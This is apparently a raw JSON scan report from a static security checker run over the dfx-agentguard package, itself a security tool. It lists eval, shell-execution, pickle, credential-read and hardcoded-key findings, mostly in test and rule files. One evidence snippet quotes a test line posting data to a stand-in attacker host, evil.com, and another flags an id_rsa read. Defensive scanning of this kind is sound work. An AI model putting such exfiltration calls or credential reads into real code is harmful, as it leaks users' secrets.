Raw scan report

Dfx Agentguard — the complete, unedited output of the deterministic mcptrustchecker engine v1.7.0, scanned . Every finding, capability tag and score component below is exactly what the engine produced — no AI, no post-processing.

← Back to the scan page
{
  "tool": {
    "name": "mcptrustchecker",
    "version": "1.7.0",
    "methodologyVersion": "mcptrustchecker-1.7"
  },
  "target": {
    "id": "dfx-agentguard",
    "source": {
      "kind": "package",
      "origin": "dfx-agentguard"
    },
    "server": {
      "name": "dfx-agentguard"
    }
  },
  "grade": "D",
  "score": {
    "score": 62,
    "threatScore": 69,
    "grade": "D",
    "band": "D",
    "gateCap": "C",
    "categorySubtotals": {
      "injection": 0,
      "exfiltration": 22,
      "permissions": 9.45,
      "supply-chain": 0,
      "network": 0,
      "hygiene": 0
    },
    "vector": [
      {
        "kind": "threat",
        "ruleId": "MTC-SRC-007",
        "category": "permissions",
        "severity": "medium",
        "confidence": "strong",
        "rawWeight": 9,
        "confidenceMult": 0.7,
        "diminishingFactor": 1,
        "appliedPenalty": 6.3
      },
      {
        "kind": "threat",
        "ruleId": "MTC-SRC-007",
        "category": "permissions",
        "severity": "medium",
        "confidence": "strong",
        "rawWeight": 9,
        "confidenceMult": 0.7,
        "diminishingFactor": 0.5,
        "appliedPenalty": 3.15
      },
      {
        "kind": "threat",
        "ruleId": "MTC-SRC-008",
        "category": "exfiltration",
        "severity": "high",
        "confidence": "confirmed",
        "rawWeight": 22,
        "confidenceMult": 1,
        "diminishingFactor": 1,
        "appliedPenalty": 22
      },
      {
        "kind": "client",
        "term": "capability-exposure",
        "level": "high",
        "label": "capability blast radius (high) — client exposure if the model is manipulated",
        "appliedPenalty": 6
      },
      {
        "kind": "client",
        "term": "verification-discount",
        "level": "repo",
        "label": "publisher verification (public source) — no provenance, but the source is public and inspectable",
        "appliedPenalty": 1
      },
      {
        "kind": "client",
        "term": "coverage-honesty",
        "level": "source",
        "label": "inspection depth (source) — how much of the target the scan could see",
        "appliedPenalty": 0
      }
    ],
    "gatesFired": [
      "1 confirmed high finding → grade capped at C"
    ],
    "methodologyVersion": "mcptrustchecker-1.7"
  },
  "capability": {
    "level": "high",
    "reasons": [
      "can send data / act on an external service",
      "reads sensitive or local data",
      "has a read → egress path (a data-exfiltration surface)",
      "can execute shell commands or code"
    ],
    "tags": [
      "sensitive-source",
      "code-exec",
      "external-sink"
    ]
  },
  "coverage": {
    "level": "source",
    "inputs": {
      "toolSurface": false,
      "implementationSource": true,
      "packageMetadata": true,
      "liveTransport": false
    },
    "caveats": [
      "No tools were enumerated, so prompt-injection, capability and toxic-flow analysis had no tool surface to inspect. To grade a package’s real runtime tools, scan the running server: --command \"npx -y <package>\"."
    ]
  },
  "findings": [
    {
      "ruleId": "MTC-SRC-006",
      "title": "Reads a sensitive credential path or dumps the environment (tests/samples/benchmark_mount_02.py)",
      "category": "exfiltration",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`tests/samples/benchmark_mount_02.py:16`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "tests/samples/benchmark_mount_02.py"
      },
      "evidence": "id_rsa",
      "owasp": "LLM02:2025 Sensitive Information Disclosure",
      "data": {
        "rule": "MTC-SRC-006",
        "file": "tests/samples/benchmark_mount_02.py",
        "line": 16
      }
    },
    {
      "ruleId": "MTC-SRC-008",
      "title": "Hardcoded AWS access key id in server code (tests/test_scanner.py)",
      "category": "exfiltration",
      "severity": "high",
      "confidence": "confirmed",
      "description": "A live-looking AWS access key id is hardcoded in `tests/test_scanner.py:152`. Secrets in source ship to everyone who installs the package and are a direct credential leak.",
      "remediation": "Remove the secret, rotate it, and load credentials from the environment or a secret store.",
      "location": {
        "kind": "server",
        "name": "tests/test_scanner.py"
      },
      "evidence": "AWS access key id: AKIA…(redacted)",
      "owasp": "LLM02:2025 Sensitive Information Disclosure",
      "data": {
        "secretType": "aws-access-key",
        "file": "tests/test_scanner.py",
        "line": 152
      }
    },
    {
      "ruleId": "MTC-SRC-001",
      "title": "Dynamic code execution in server code (agentguard/false_positive_filter.py)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`agentguard/false_positive_filter.py:104`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "agentguard/false_positive_filter.py"
      },
      "evidence": "eval(",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-001",
        "file": "agentguard/false_positive_filter.py",
        "line": 104
      }
    },
    {
      "ruleId": "MTC-SRC-001",
      "title": "Dynamic code execution in server code (agentguard/rules/unsafe_eval.py)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`agentguard/rules/unsafe_eval.py:11`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "agentguard/rules/unsafe_eval.py"
      },
      "evidence": "eval(",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-001",
        "file": "agentguard/rules/unsafe_eval.py",
        "line": 11
      }
    },
    {
      "ruleId": "MTC-SRC-001",
      "title": "Dynamic code execution in server code (tests/test_scanner.py)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`tests/test_scanner.py:24`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "tests/test_scanner.py"
      },
      "evidence": "eval(",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-001",
        "file": "tests/test_scanner.py",
        "line": 24
      }
    },
    {
      "ruleId": "MTC-SRC-001",
      "title": "Dynamic code execution in server code (tests/test_stegano.py)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`tests/test_stegano.py:34`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "tests/test_stegano.py"
      },
      "evidence": "eval(",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-001",
        "file": "tests/test_stegano.py",
        "line": 34
      }
    },
    {
      "ruleId": "MTC-SRC-001",
      "title": "Dynamic code execution in server code (tests/test_tool_trust.py)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`tests/test_tool_trust.py:34`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "tests/test_tool_trust.py"
      },
      "evidence": "eval(",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-001",
        "file": "tests/test_tool_trust.py",
        "line": 34
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (agentguard/precommit.py)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`agentguard/precommit.py:38`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "agentguard/precommit.py"
      },
      "evidence": "subprocess.run(",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "agentguard/precommit.py",
        "line": 38
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (agentguard/rules/tool_abuse.py)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`agentguard/rules/tool_abuse.py:9`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "agentguard/rules/tool_abuse.py"
      },
      "evidence": "shell=True",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "agentguard/rules/tool_abuse.py",
        "line": 9
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (agentguard/rules/unsafe_eval.py)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`agentguard/rules/unsafe_eval.py:12`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "agentguard/rules/unsafe_eval.py"
      },
      "evidence": "exec(",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "agentguard/rules/unsafe_eval.py",
        "line": 12
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (tests/samples/benchmark_mount_02.py)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`tests/samples/benchmark_mount_02.py:16`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "tests/samples/benchmark_mount_02.py"
      },
      "evidence": "os.system(",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "tests/samples/benchmark_mount_02.py",
        "line": 16
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (tests/test_mount_exposure.py)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`tests/test_mount_exposure.py:56`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "tests/test_mount_exposure.py"
      },
      "evidence": "subprocess.run(",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "tests/test_mount_exposure.py",
        "line": 56
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (tests/test_precommit.py)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`tests/test_precommit.py:11`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "tests/test_precommit.py"
      },
      "evidence": "subprocess.run(",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "tests/test_precommit.py",
        "line": 11
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (tests/test_scanner.py)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`tests/test_scanner.py:21`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "tests/test_scanner.py"
      },
      "evidence": "os.system(",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "tests/test_scanner.py",
        "line": 21
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (tests/test_stegano.py)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`tests/test_stegano.py:18`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "tests/test_stegano.py"
      },
      "evidence": "os.system(",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "tests/test_stegano.py",
        "line": 18
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (tests/test_tool_trust.py)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`tests/test_tool_trust.py:18`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "tests/test_tool_trust.py"
      },
      "evidence": "subprocess.run(",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "tests/test_tool_trust.py",
        "line": 18
      }
    },
    {
      "ruleId": "MTC-SRC-003",
      "title": "Hardcoded egress to an external endpoint (tests/test_interprocedural.py)",
      "category": "exfiltration",
      "severity": "medium",
      "confidence": "strong",
      "description": "In the server's implementation (`tests/test_interprocedural.py:120`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "tests/test_interprocedural.py"
      },
      "evidence": "fetch(\"https://api.openai.com/v1/chat/completions\"",
      "owasp": "LLM02:2025 Sensitive Information Disclosure",
      "data": {
        "rule": "MTC-SRC-003",
        "file": "tests/test_interprocedural.py",
        "line": 120
      }
    },
    {
      "ruleId": "MTC-SRC-003",
      "title": "Hardcoded egress to an external endpoint (tests/test_scanner.py)",
      "category": "exfiltration",
      "severity": "medium",
      "confidence": "strong",
      "description": "In the server's implementation (`tests/test_scanner.py:221`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "tests/test_scanner.py"
      },
      "evidence": "requests.post(\"https://evil.com/collect\"",
      "owasp": "LLM02:2025 Sensitive Information Disclosure",
      "data": {
        "rule": "MTC-SRC-003",
        "file": "tests/test_scanner.py",
        "line": 221
      }
    },
    {
      "ruleId": "MTC-SRC-005",
      "title": "Dynamic module load from a non-literal (agentguard/rules/unsafe_eval.py)",
      "category": "permissions",
      "severity": "medium",
      "confidence": "heuristic",
      "description": "In the server's implementation (`agentguard/rules/unsafe_eval.py:13`): Loading a module chosen at runtime (from a variable) can pull in and run attacker-influenced code paths. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "agentguard/rules/unsafe_eval.py"
      },
      "evidence": "__import__(",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-005",
        "file": "agentguard/rules/unsafe_eval.py",
        "line": 13
      }
    },
    {
      "ruleId": "MTC-SRC-007",
      "title": "Unsafe deserialization (agentguard/rules/unsafe_eval.py)",
      "category": "permissions",
      "severity": "medium",
      "confidence": "strong",
      "description": "In the server's implementation (`agentguard/rules/unsafe_eval.py:19`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "agentguard/rules/unsafe_eval.py"
      },
      "evidence": "pickle.load(",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-007",
        "file": "agentguard/rules/unsafe_eval.py",
        "line": 19
      }
    },
    {
      "ruleId": "MTC-SRC-007",
      "title": "Unsafe deserialization (tests/test_scanner.py)",
      "category": "permissions",
      "severity": "medium",
      "confidence": "strong",
      "description": "In the server's implementation (`tests/test_scanner.py:442`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "tests/test_scanner.py"
      },
      "evidence": "pickle.loads(",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-007",
        "file": "tests/test_scanner.py",
        "line": 442
      }
    },
    {
      "ruleId": "MTC-SUP-012",
      "title": "Package has no license",
      "category": "hygiene",
      "severity": "info",
      "confidence": "strong",
      "description": "\"dfx-agentguard\" has no declared license. This is a legal/reuse concern, not a security finding.",
      "location": {
        "kind": "package",
        "name": "dfx-agentguard"
      }
    }
  ],
  "toxicFlows": [],
  "capabilities": [],
  "surfaceDigest": "56e54202c3d91b70fb4f31b22f8bb3e8f74b6899ed451bda0c0514b8dff71e35",
  "stats": {
    "tools": 0,
    "prompts": 0,
    "resources": 0,
    "findingsBySeverity": {
      "critical": 0,
      "high": 16,
      "medium": 5,
      "low": 0,
      "info": 1
    }
  }
}